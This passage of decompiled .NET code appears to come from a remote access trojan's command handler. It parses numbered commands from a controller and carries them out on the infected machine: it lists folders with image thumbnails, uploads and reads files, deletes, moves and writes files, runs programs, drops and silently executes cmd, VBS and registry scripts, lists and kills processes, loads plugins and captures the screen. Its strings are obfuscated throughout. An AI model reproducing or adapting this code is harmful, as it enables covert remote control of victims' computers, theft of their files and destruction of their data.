          string s6 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance13, Arguments5, (string[]) null));
          string path2 = API.DEB(ref s6);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num20,
            (object) s6
          }, (string[]) null, true, false);
          foreach (string file in Directory.GetFiles(path2))
          {
            bool flag;
            foreach (string str39 in strArray5)
            {
              if (Operators.CompareString(str39.ToLower(), Strings.Split(file, ".")[Strings.Split(file, ".").Length - 1].ToLower(), false) == 0)
              {
                flag = true;
                break;
              }
            }
            string s7;
            if (flag)
            {
              try
              {
                Image image = Image.FromFile(file);
                MemoryStream memoryStream = new MemoryStream();
                EncoderParameters encoderParams = new EncoderParameters(1);
                encoderParams.Param[0] = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L);
                ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg");
                image.GetThumbnailImage(20, 20, (Image.GetThumbnailImageAbort) null, IntPtr.Zero).Save((Stream) memoryStream, encoderInfo, encoderParams);
                string str40 = str36;
                string y = IND.Y;
                string[] strArray6 = new string[5];
                string[] strArray7 = strArray6;
                string Expression = file;
                Array Instance14 = Instance1;
                object[] objArray26 = new object[1];
                object[] objArray27 = objArray26;
                int num21 = 1;
                // ISSUE: variable of a boxed type
                __Boxed<int> local30 = (ValueType) num21;
                objArray27[0] = (object) local30;
                object[] Arguments6 = objArray26;
                string s8 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance14, Arguments6, (string[]) null));
                string Find = API.DEB(ref s8);
                NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
                {
                  (object) num21,
                  (object) s8
                }, (string[]) null, true, false);
                string str41 = Strings.Replace(Expression, Find, "");
                strArray7[0] = str41;
                strArray6[1] = "*";
                strArray6[2] = Conversions.ToString(FileSystem.FileLen(file));
                strArray6[3] = "*";
                strArray6[4] = API.FEN(memoryStream.ToArray());
                s7 = string.Concat(strArray6);
                string str42 = API.ENB(ref s7);
                str36 = str40 + y + str42;
                memoryStream.Dispose();
                encoderParams.Dispose();
                image.Dispose();
              }
              catch (Exception ex)
              {
                int lErl = num2;
                ProjectData.SetProjectError(ex, lErl);
                string str43 = str36;
                string y = IND.Y;
                string Expression = file;
                Array Instance15 = Instance1;
                object[] objArray28 = new object[1];
                object[] objArray29 = objArray28;
                int num22 = 1;
                // ISSUE: variable of a boxed type
                __Boxed<int> local31 = (ValueType) num22;
                objArray29[0] = (object) local31;
                object[] Arguments7 = objArray28;
                string s9 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance15, Arguments7, (string[]) null));
                string Find = API.DEB(ref s9);
                NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
                {
                  (object) num22,
                  (object) s9
                }, (string[]) null, true, false);
                string s10 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
                string str44 = API.ENB(ref s10);
                str36 = str43 + y + str44;
                ProjectData.ClearProjectError();
              }
            }
            else
            {
              string str45 = str36;
              string y = IND.Y;
              string Expression = file;
              Array Instance16 = Instance1;
              object[] objArray30 = new object[1];
              object[] objArray31 = objArray30;
              int num23 = 1;
              // ISSUE: variable of a boxed type
              __Boxed<int> local32 = (ValueType) num23;
              objArray31[0] = (object) local32;
              object[] Arguments8 = objArray30;
              string s11 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance16, Arguments8, (string[]) null));
              string Find = API.DEB(ref s11);
              NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
              {
                (object) num23,
                (object) s11
              }, (string[]) null, true, false);
              s7 = Strings.Replace(Expression, Find, "") + "*" + Conversions.ToString(FileSystem.FileLen(file));
              string str46 = API.ENB(ref s7);
              str36 = str45 + y + str46;
            }
          }
          B b = MyProject.Forms.B;
          string str47 = "#9" + str36;
          ref string local33 = ref str47;
          b.SEND(ref local33);
        }
        else if (Operators.CompareString(Left1, "#11", false) == 0)
        {
          IND.ER = 1;
          int num24 = Instance1.Length - 1;
          for (int index = 1; index <= num24; ++index)
          {
            try
            {
              string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) index
              }, (string[]) null));
              string fileName = API.DEB(ref s);
              NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
              {
                (object) index,
                (object) s
              }, (string[]) null, true, false);
              Process.Start(fileName);
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
          }
        }
        else if (Operators.CompareString(Left1, "#12", false) == 0)
        {
          IND.ER = 1;
          Array Instance17 = Instance1;
          object[] objArray32 = new object[1];
          object[] objArray33 = objArray32;
          int num25 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num25;
          objArray33[0] = (object) local;
          object[] Arguments = objArray32;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance17, Arguments, (string[]) null));
          string Expression = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num25,
            (object) s
          }, (string[]) null, true, false);
          Array Instance18 = (Array) Strings.Split(Expression, "\r\n");
          if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
          {
            (object) 3
          }, (string[]) null), (object) "DIR", false))
            MyProject.Computer.FileSystem.RenameDirectory(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
            {
              (object) 0
            }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
            {
              (object) 1
            }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
            {
              (object) 2
            }, (string[]) null)));
          else
            MyProject.Computer.FileSystem.RenameFile(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
            {
              (object) 0
            }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance18, new object[1]
            {
              (object) 1
            }, (string[]) null))), "\\\\", "\\"), Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance18, new object[1]
            {
              (object) 2
            }, (string[]) null)));
        }
        else if (Operators.CompareString(Left1, "#13", false) == 0)
        {
          IND.ER = 1;
          int num26 = Instance1.Length - 1;
          for (int index = 1; index <= num26; ++index)
          {
            string s12 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) index
            }, (string[]) null));
            string path3 = API.DEB(ref s12);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) index,
              (object) s12
            }, (string[]) null, true, false);
            if (Directory.Exists(path3))
            {
              try
              {
                string s13 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) index
                }, (string[]) null));
                string path4 = API.DEB(ref s13);
                NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
                {
                  (object) index,
                  (object) s13
                }, (string[]) null, true, false);
                Directory.Delete(path4, true);
              }
              catch (Exception ex)
              {
                int lErl = num2;
                ProjectData.SetProjectError(ex, lErl);
                ProjectData.ClearProjectError();
              }
            }
            else
            {
              try
              {
                string s14 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
                {
                  (object) index
                }, (string[]) null));
                string path5 = API.DEB(ref s14);
                NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
                {
                  (object) index,
                  (object) s14
                }, (string[]) null, true, false);
                File.Delete(path5);
              }
              catch (Exception ex)
              {
                int lErl = num2;
                ProjectData.SetProjectError(ex, lErl);
                ProjectData.ClearProjectError();
              }
            }
          }
        }
        else if (Operators.CompareString(Left1, "#14", false) == 0)
        {
          IND.ER = 1;
          Array Instance19 = Instance1;
          object[] objArray34 = new object[1];
          object[] objArray35 = objArray34;
          int num27 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num27;
          objArray35[0] = (object) local;
          object[] Arguments = objArray34;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance19, Arguments, (string[]) null));
          string Path = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num27,
            (object) s
          }, (string[]) null, true, false);
          FileSystem.MkDir(Path);
        }
        else if (Operators.CompareString(Left1, "#15", false) == 0)
        {
          IND.ER = 1;
          int num28 = Instance1.Length - 1;
          for (int index = 1; index <= num28; ++index)
          {
            string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) index
            }, (string[]) null));
            string Expression = API.DEB(ref s);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) index,
              (object) s
            }, (string[]) null, true, false);
            Array Instance20 = (Array) Strings.Split(Expression, "\r\n");
            if (Directory.Exists(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
            {
              (object) 0
            }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
            {
              (object) 1
            }, (string[]) null))), "\\\\", "\\")))
              Directory.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 0
              }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 1
              }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 2
              }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 1
              }, (string[]) null))), "\\\\", "\\"));
            else
              File.Move(Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 0
              }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 1
              }, (string[]) null))), "\\\\", "\\"), Strings.Replace(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 2
              }, (string[]) null), (object) "\\"), NewLateBinding.LateIndexGet((object) Instance20, new object[1]
              {
                (object) 1
              }, (string[]) null))), "\\\\", "\\"));
          }
        }
        else if (Operators.CompareString(Left1, "#16", false) == 0)
        {
          IND.ER = 1;
          B b = MyProject.Forms.B;
          string str48 = "#11" + IND.Y;
          Array Instance21 = Instance1;
          object[] objArray36 = new object[1];
          object[] objArray37 = objArray36;
          int num29 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local34 = (ValueType) num29;
          objArray37[0] = (object) local34;
          object[] Arguments = objArray36;
          string s15 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance21, Arguments, (string[]) null));
          string path = API.DEB(ref s15);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num29,
            (object) s15
          }, (string[]) null, true, false);
          string s16 = File.ReadAllText(path);
          string str49 = API.ENB(ref s16);
          string str50 = Conversions.ToString(Operators.ConcatenateObject((object) (str48 + str49 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 2
          }, (string[]) null)));
          ref string local35 = ref str50;
          b.SEND(ref local35);
        }
        else if (Operators.CompareString(Left1, "#17", false) == 0)
        {
          IND.ER = 1;
          Array Instance22 = Instance1;
          object[] objArray38 = new object[1];
          object[] objArray39 = objArray38;
          int num30 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local36 = (ValueType) num30;
          objArray39[0] = (object) local36;
          object[] Arguments9 = objArray38;
          string s17 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance22, Arguments9, (string[]) null));
          string path = API.DEB(ref s17);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num30,
            (object) s17
          }, (string[]) null, true, false);
          Array Instance23 = Instance1;
          object[] objArray40 = new object[1];
          object[] objArray41 = objArray40;
          int num31 = 2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local37 = (ValueType) num31;
          objArray41[0] = (object) local37;
          object[] Arguments10 = objArray40;
          string s18 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance23, Arguments10, (string[]) null));
          string contents = API.DEB(ref s18);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num31,
            (object) s18
          }, (string[]) null, true, false);
          File.WriteAllText(path, contents);
        }
        else if (Operators.CompareString(Left1, "#18", false) == 0)
        {
          IND.ER = 1;
          Array Instance24 = Instance1;
          object[] objArray42 = new object[1];
          object[] objArray43 = objArray42;
          int num32 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num32;
          objArray43[0] = (object) local;
          object[] Arguments = objArray42;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance24, Arguments, (string[]) null));
          string path = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num32,
            (object) s
          }, (string[]) null, true, false);
          File.Create(path);
        }
        else if (Operators.CompareString(Left1, "#19", false) == 0)
        {
          IND.ER = 1;
          MemoryStream memoryStream = new MemoryStream();
          int num33 = Strings.InStr(str1, Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null))) + NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().Length + IND.Y.Length - 1;
          int num34 = Da.Length - 1;
          for (int index = num33; index <= num34; ++index)
            memoryStream.WriteByte(Da[index]);
          Array Instance25 = Instance1;
          object[] objArray44 = new object[1];
          object[] objArray45 = objArray44;
          int num35 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local38 = (ValueType) num35;
          objArray45[0] = (object) local38;
          object[] Arguments = objArray44;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance25, Arguments, (string[]) null));
          string path = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num35,
            (object) s
          }, (string[]) null, true, false);
          byte[] array = memoryStream.ToArray();
          bool flag = false;
          ref bool local39 = ref flag;
          byte[] bytes = API.ZIP(array, ref local39);
          File.WriteAllBytes(path, bytes);
        }
        else if (Operators.CompareString(Left1, "#20", false) == 0)
        {
          IND.ER = 1;
          Array Instance26 = Instance1;
          object[] objArray46 = new object[1];
          object[] objArray47 = objArray46;
          int num36 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local40 = (ValueType) num36;
          objArray47[0] = (object) local40;
          object[] Arguments11 = objArray46;
          string s19 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance26, Arguments11, (string[]) null));
          string Expression = API.DEB(ref s19);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num36,
            (object) s19
          }, (string[]) null, true, false);
          Array Instance27 = (Array) Strings.Split(Expression, "\\");
          MemoryStream memoryStream = new MemoryStream();
          byte[] buffer1 = (byte[]) NewLateBinding.LateGet((object) Encoding.Default, (System.Type) null, "GetBytes", new object[1]
          {
            Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#12" + IND.Y), NewLateBinding.LateIndexGet((object) Instance27, new object[1]
            {
              (object) (Instance27.Length - 1)
            }, (string[]) null)), (object) IND.Y)
          }, (string[]) null, (System.Type[]) null, (bool[]) null);
          memoryStream.Write(buffer1, 0, buffer1.Length);
          Array Instance28 = Instance1;
          object[] objArray48 = new object[1];
          object[] objArray49 = objArray48;
          int num37 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local41 = (ValueType) num37;
          objArray49[0] = (object) local41;
          object[] Arguments12 = objArray48;
          string s20 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance28, Arguments12, (string[]) null));
          string path = API.DEB(ref s20);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num37,
            (object) s20
          }, (string[]) null, true, false);
          byte[] Byt = File.ReadAllBytes(path);
          bool flag = true;
          ref bool local42 = ref flag;
          byte[] buffer2 = API.ZIP(Byt, ref local42);
          memoryStream.Write(buffer2, 0, buffer2.Length);
          MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
          memoryStream.Dispose();
        }
        else if (Operators.CompareString(Left1, "#21", false) == 0)
        {
          IND.ER = 1;
          int num38 = Instance1.Length - 1;
          for (int index = 1; index <= num38; ++index)
          {
            Thread.Sleep(10);
            string s21 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) index
            }, (string[]) null));
            string filename = API.DEB(ref s21);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) index,
              (object) s21
            }, (string[]) null, true, false);
            new Bitmap(filename).Dispose();
            string s22 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) index
            }, (string[]) null));
            string Expression = API.DEB(ref s22);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) index,
              (object) s22
            }, (string[]) null, true, false);
            Array Instance29 = (Array) Strings.Split(Expression, "\\");
            B b = MyProject.Forms.B;
            string[] strArray8 = new string[5]
            {
              "#13",
              IND.Y,
              null,
              null,
              null
            };
            string[] strArray9 = strArray8;
            Array Instance30 = Instance29;
            object[] objArray50 = new object[1];
            object[] objArray51 = objArray50;
            int num39 = Instance29.Length - 1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local43 = (ValueType) num39;
            objArray51[0] = (object) local43;
            object[] Arguments = objArray50;
            string s23 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance30, Arguments, (string[]) null));
            string str51 = API.ENB(ref s23);
            NewLateBinding.LateIndexSetComplex((object) Instance29, new object[2]
            {
              (object) num39,
              (object) s23
            }, (string[]) null, true, false);
            strArray9[2] = str51;
            strArray8[3] = IND.Y;
            string[] strArray10 = strArray8;
            string s24 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) index
            }, (string[]) null));
            string path = API.DEB(ref s24);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) index,
              (object) s24
            }, (string[]) null, true, false);
            string str52 = API.FEN(File.ReadAllBytes(path));
            strArray10[4] = str52;
            string str53 = string.Concat(strArray8);
            ref string local44 = ref str53;
            b.SEND(ref local44);
          }
        }
        else if (Operators.CompareString(Left1, "#22", false) == 0)
        {
          IND.ER = 1;
          string str54;
          foreach (Process process in Process.GetProcesses())
          {
            try
            {
              str54 = str54 + IND.Y + process.MainModule.ModuleName + "*" + Conversions.ToString(process.Id);
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              str54 = str54 + IND.Y + process.ProcessName + "*" + Conversions.ToString(process.Id);
              ProjectData.ClearProjectError();
            }
          }
          B b = MyProject.Forms.B;
          string str55 = "#14" + str54;
          ref string local = ref str55;
          b.SEND(ref local);
        }
        else if (Operators.CompareString(Left1, "#23", false) == 0)
        {
          IND.ER = 1;
          int num40 = Instance1.Length - 1;
          for (int index = 1; index <= num40; ++index)
            Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) index
            }, (string[]) null))).Kill();
        }
        else if (Operators.CompareString(Left1, "#24", false) == 0)
        {
          try
          {
            chat.clos = true;
          }
          catch (Exception ex)
          {
            int lErl = num2;
            ProjectData.SetProjectError(ex, lErl);
            ProjectData.ClearProjectError();
          }
          Thread.Sleep(100);
          Array Instance31 = Instance1;
          object[] objArray52 = new object[1];
          object[] objArray53 = objArray52;
          int num41 = 1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) num41;
          objArray53[0] = (object) local;
          object[] Arguments = objArray52;
          string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance31, Arguments, (string[]) null));
          string str56 = API.DEB(ref s);
          NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
          {
            (object) num41,
            (object) s
          }, (string[]) null, true, false);
          B.Cht = str56;
        }
        else if (Operators.CompareString(Left1, "#25", false) == 0)
        {
          IND.ER = 0;
          if (B.Chat.InvokeRequired)
          {
            IND.indd method = new IND.indd(IND.inddd);
            Array Instance32 = Instance1;
            object[] objArray54 = new object[1];
            object[] objArray55 = objArray54;
            int num42 = 1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num42;
            objArray55[0] = (object) local;
            object[] Arguments = objArray54;
            string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance32, Arguments, (string[]) null));
            string str57 = API.DEB(ref s);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num42,
              (object) s
            }, (string[]) null, true, false);
            string str58 = str57;
            B.Chat.Invoke((Delegate) method, (object) str58);
          }
          else
          {
            RichTextBox t1 = B.Chat.T1;
            RichTextBox richTextBox = t1;
            string[] strArray11 = new string[5]
            {
              t1.Text,
              MyProject.Forms.chat.nick,
              " : ",
              null,
              null
            };
            string[] strArray12 = strArray11;
            Array Instance33 = Instance1;
            object[] objArray56 = new object[1];
            object[] objArray57 = objArray56;
            int num43 = 1;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num43;
            objArray57[0] = (object) local;
            object[] Arguments = objArray56;
            string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance33, Arguments, (string[]) null));
            string str59 = API.DEB(ref s);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num43,
              (object) s
            }, (string[]) null, true, false);
            strArray12[3] = str59;
            strArray11[4] = "\r\n";
            string str60 = string.Concat(strArray11);
            richTextBox.Text = str60;
          }
        }
        else if (Operators.CompareString(Left1, "#26", false) == 0)
        {
          IND.ER = 0;
          chat.clos = true;
        }
        else if (Operators.CompareString(Left1, "#27", false) == 0)
        {
          IND.ER = 1;
          int num44 = 0;
          string s25;
          do
          {
            if (!File.Exists(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 1
            }, (string[]) null)))))
            {
              s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) 1
              }, (string[]) null)));
              break;
            }
            try
            {
              FileSystem.Kill(Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) 1
              }, (string[]) null))));
              s25 = Conversions.ToString(Operators.ConcatenateObject((object) (IND.TM + Conversions.ToString(num44) + "."), NewLateBinding.LateIndexGet((object) Instance1, new object[1]
              {
                (object) 1
              }, (string[]) null)));
              break;
            }
            catch (Exception ex)
            {
              int lErl = num2;
              ProjectData.SetProjectError(ex, lErl);
              ProjectData.ClearProjectError();
            }
            ++num44;
          }
          while (num44 <= 9999);
          string lower = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null).ToString().ToLower();
          if (Operators.CompareString(lower, "cmd", false) == 0)
          {
            string path = s25;
            Array Instance34 = Instance1;
            object[] objArray58 = new object[1];
            object[] objArray59 = objArray58;
            int num45 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num45;
            objArray59[0] = (object) local;
            object[] Arguments = objArray58;
            string s26 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance34, Arguments, (string[]) null));
            string contents = API.DEB(ref s26);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num45,
              (object) s26
            }, (string[]) null, true, false);
            File.WriteAllText(path, contents);
            Interaction.Shell(s25, AppWinStyle.Hide);
          }
          else if (Operators.CompareString(lower, "vbs", false) == 0)
          {
            string path = s25;
            Array Instance35 = Instance1;
            object[] objArray60 = new object[1];
            object[] objArray61 = objArray60;
            int num46 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num46;
            objArray61[0] = (object) local;
            object[] Arguments = objArray60;
            string s27 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance35, Arguments, (string[]) null));
            string contents = API.DEB(ref s27);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num46,
              (object) s27
            }, (string[]) null, true, false);
            File.WriteAllText(path, contents);
            Process.Start(s25);
          }
          else if (Operators.CompareString(lower, "Reg", false) == 0)
          {
            string path = s25;
            Array Instance36 = Instance1;
            object[] objArray62 = new object[1];
            object[] objArray63 = objArray62;
            int num47 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num47;
            objArray63[0] = (object) local;
            object[] Arguments = objArray62;
            string s28 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance36, Arguments, (string[]) null));
            string contents = API.DEB(ref s28);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num47,
              (object) s28
            }, (string[]) null, true, false);
            File.WriteAllText(path, contents);
            Interaction.Shell(s25);
          }
          else
          {
            string path = s25;
            Array Instance37 = Instance1;
            object[] objArray64 = new object[1];
            object[] objArray65 = objArray64;
            int num48 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num48;
            objArray65[0] = (object) local;
            object[] Arguments = objArray64;
            string s29 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance37, Arguments, (string[]) null));
            string contents = API.DEB(ref s29);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num48,
              (object) s29
            }, (string[]) null, true, false);
            File.WriteAllText(path, contents);
            Process.Start(s25);
          }
          B b = MyProject.Forms.B;
          string str61 = "#10" + IND.Y + "^" + Conversions.ToString(4) + IND.Y + API.ENB(ref s25);
          ref string local45 = ref str61;
          b.SEND(ref local45);
        }
        else if (Operators.CompareString(Left1, "#28", false) == 0)
        {
          IND.ER = 1;
          object Left3 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
          {
            (object) 1
          }, (string[]) null);
          if (Operators.ConditionalCompareObjectEqual(Left3, (object) "!", false))
          {
            B b = MyProject.Forms.B;
            string y = IND.Y;
            ref byte[] local46 = ref C.Plug;
            string str62 = "plugin.C";
            ref string local47 = ref str62;
            string str63 = "W";
            ref string local48 = ref str63;
            object obj = (object) new object[0];
            ref object local49 = ref obj;
            string s = Conversions.ToString(C.inv(ref local46, ref local47, ref local48, ref local49));
            string str64 = API.ENB(ref s);
            string str65 = "#17" + y + str64;
            ref string local50 = ref str65;
            b.SEND(ref local50);
          }
          else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "@", false))
          {
            int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
            {
              (object) 2
            }, (string[]) null));
            ref byte[] local51 = ref C.Plug;
            string str66 = "plugin.C";
            ref string local52 = ref str66;
            string str67 = "CW";
            ref string local53 = ref str67;
            object[] objArray66 = new object[2]
            {
              (object) integer,
              null
            };
            object[] objArray67 = objArray66;
            Array Instance38 = Instance1;
            object[] objArray68 = new object[1];
            object[] objArray69 = objArray68;
            int num49 = 3;
            // ISSUE: variable of a boxed type
            __Boxed<int> local54 = (ValueType) num49;
            objArray69[0] = (object) local54;
            object[] Arguments = objArray68;
            string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance38, Arguments, (string[]) null));
            string str68 = API.DEB(ref s);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num49,
              (object) s
            }, (string[]) null, true, false);
            objArray67[1] = (object) str68;
            object obj = (object) objArray66;
            ref object local55 = ref obj;
            C.inv(ref local51, ref local52, ref local53, ref local55);
          }
          else if (Operators.ConditionalCompareObjectEqual(Left3, (object) "#", false))
          {
            Array Instance39 = Instance1;
            object[] objArray70 = new object[1];
            object[] objArray71 = objArray70;
            int num50 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local56 = (ValueType) num50;
            objArray71[0] = (object) local56;
            object[] Arguments13 = objArray70;
            int integer1 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance39, Arguments13, (string[]) null));
            ref int local57 = ref integer1;
            Array Instance40 = Instance1;
            object[] objArray72 = new object[1];
            object[] objArray73 = objArray72;
            int num51 = 3;
            // ISSUE: variable of a boxed type
            __Boxed<int> local58 = (ValueType) num51;
            objArray73[0] = (object) local58;
            object[] Arguments14 = objArray72;
            int integer2 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance40, Arguments14, (string[]) null));
            ref int local59 = ref integer2;
            API.wd.G(ref local57, ref local59);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num51,
              (object) integer2
            }, (string[]) null, true, false);
            NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
            {
              (object) num50,
              (object) integer1
            }, (string[]) null, true, false);
          }
          else
          {
            if (!Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false))
              return;
            MemoryStream memoryStream1 = new MemoryStream();
            Array Instance41 = Instance1;
            object[] objArray74 = new object[1];
            object[] objArray75 = objArray74;
            int num52 = 2;
            // ISSUE: variable of a boxed type
            __Boxed<int> local = (ValueType) num52;
            objArray75[0] = (object) local;
            object[] Arguments = objArray74;
            int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments, (string[]) null));
            Image image = C.Capture(ref integer);
